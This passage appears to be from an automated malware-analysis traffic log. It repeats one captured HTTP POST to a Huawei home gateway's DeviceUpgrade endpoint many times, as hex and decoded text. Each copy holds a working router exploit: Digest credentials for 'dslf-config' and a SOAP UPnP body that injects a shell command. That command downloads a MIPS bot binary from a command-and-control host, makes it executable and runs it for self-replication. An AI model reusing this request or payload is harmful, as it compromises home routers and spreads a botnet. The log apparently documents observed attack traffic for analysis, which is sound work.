2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; 